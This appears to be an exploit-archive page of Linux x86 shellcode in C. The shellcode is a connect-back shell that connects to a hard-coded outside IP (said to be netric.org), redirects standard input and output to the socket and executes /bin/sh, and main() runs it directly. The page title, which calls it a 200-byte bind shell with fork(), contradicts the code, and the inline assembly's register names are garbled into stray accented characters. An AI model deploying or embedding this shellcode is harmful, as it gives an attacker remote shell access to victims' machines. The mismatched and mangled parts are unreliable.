Linux/x86 - Bind TCP (45295/TCP) Shell (/bin/sh) + fork() Shellcode (200 bytes)

2009-01-01 12:05:09

/* linux x86 shellcode by eSDee of Netric (www.netric.org)
* 131 byte - connect back shellcode (port=0xb0ef)
*/

#include <stdio.h>

char
shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
"\x68\x41\x42\x43\x44\x66\x68\xb0"
"\xef\xb1\x02\x66\x51\x89\xe7\xb3"
"\x10\x53\x57\x52\x89\xe1\xb3\x03"
"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";

int
c_code()
{
char *argv[2];
char *sockaddr = "\x02\x00" // Address family
"\xef\xb0" // port
"\x00\x00\x00\x00" // sin_addr
"\x00\x00\x00\x00"
"\x00\x00\x00\x00";

int sock;

sock = socket(2, 1, 6);
if (connect(sock, sockaddr, 16) < 0) exit();

dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);

argv[0] = "//bin/sh";
argv[1] = NULL;

execve(argv[0], &argv[0], NULL);
exit();
}

int
asm_code()
{
__asm(" # sock = socket(2, 1, 6);
xorl êx, êx
xorl ëx, ëx
xorl ìx, ìx
pushl ìx
movb $6, %cl # IPPROTO_TCP
pushl ìx
movb $1, %cl # SOCK_STREAM
pushl ìx
movb $2, %cl # AF_INET
pushl ìx
movl %esp, ìx
movb $1, %bl # SYS_SOCKET
movb $102, %al # SYS_socketcall
int $0x80

# connect(sock, sockaddr, 16)
movl êx, íx
xorl êx, êx
xorl ìx, ìx
pushl ìx
pushl ìx
pushl $0x44434241 # ip address
pushw $0xefb0 # port
movb $0x02, %cl # address family
pushw %cx
movl %esp, íi
movb $16, %bl # sizeof(sockaddr)
pushl ëx
pushl íi
pushl íx # sock
movl %esp, ìx
movb $3, %bl # SYS_CONNECT
movb $102, %al # SYS_socketcall
int $0x80
xorl ìx, ìx
cmpl êx, ìx
je CONNECTED

# exit()
xorl êx, êx
movb $1, %al # SYS_exit
int $0x80

CONNECTED:
# dup2(sock, 0);
xorl êx, êx
movb $63, %al # SYS_dup2
movl íx, ëx # sock
int $0x80

# dup2(sock, 1);
xorl êx, êx
movb $63, %al # SYS_dup2
movl íx, ëx # sock
movb $1, %cl # stdout
int $0x80

# dup2(sock, 2);
xorl êx, êx
movb $63, %al # SYS_dup2
movl íx, ëx # sock
movb $2, %cl # stderr
int $0x80

# execve(argv[0], &argv[0], NULL);
xorl êx, êx
xorl íx, íx
pushl êx
pushl $0x68732f6e # the string
pushl $0x69622f2f # //bin/sh
movl %esp, ëx
pushl êx
pushl ëx
movl %esp, ìx
movb $11, %al # SYS_execve
int $0x80

# exit()
xorl êx, êx
movb $1, %al # SYS_exit
int $0x80
");
}

int
main()
{
void (*funct)();

shellcode[33] = 81; /* ip of www.netric.org :) */
shellcode[34] = 17;
shellcode[35] = 46;
shellcode[36] = 156;

(long) funct = &shellcode;
funct();
return 0;
}

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.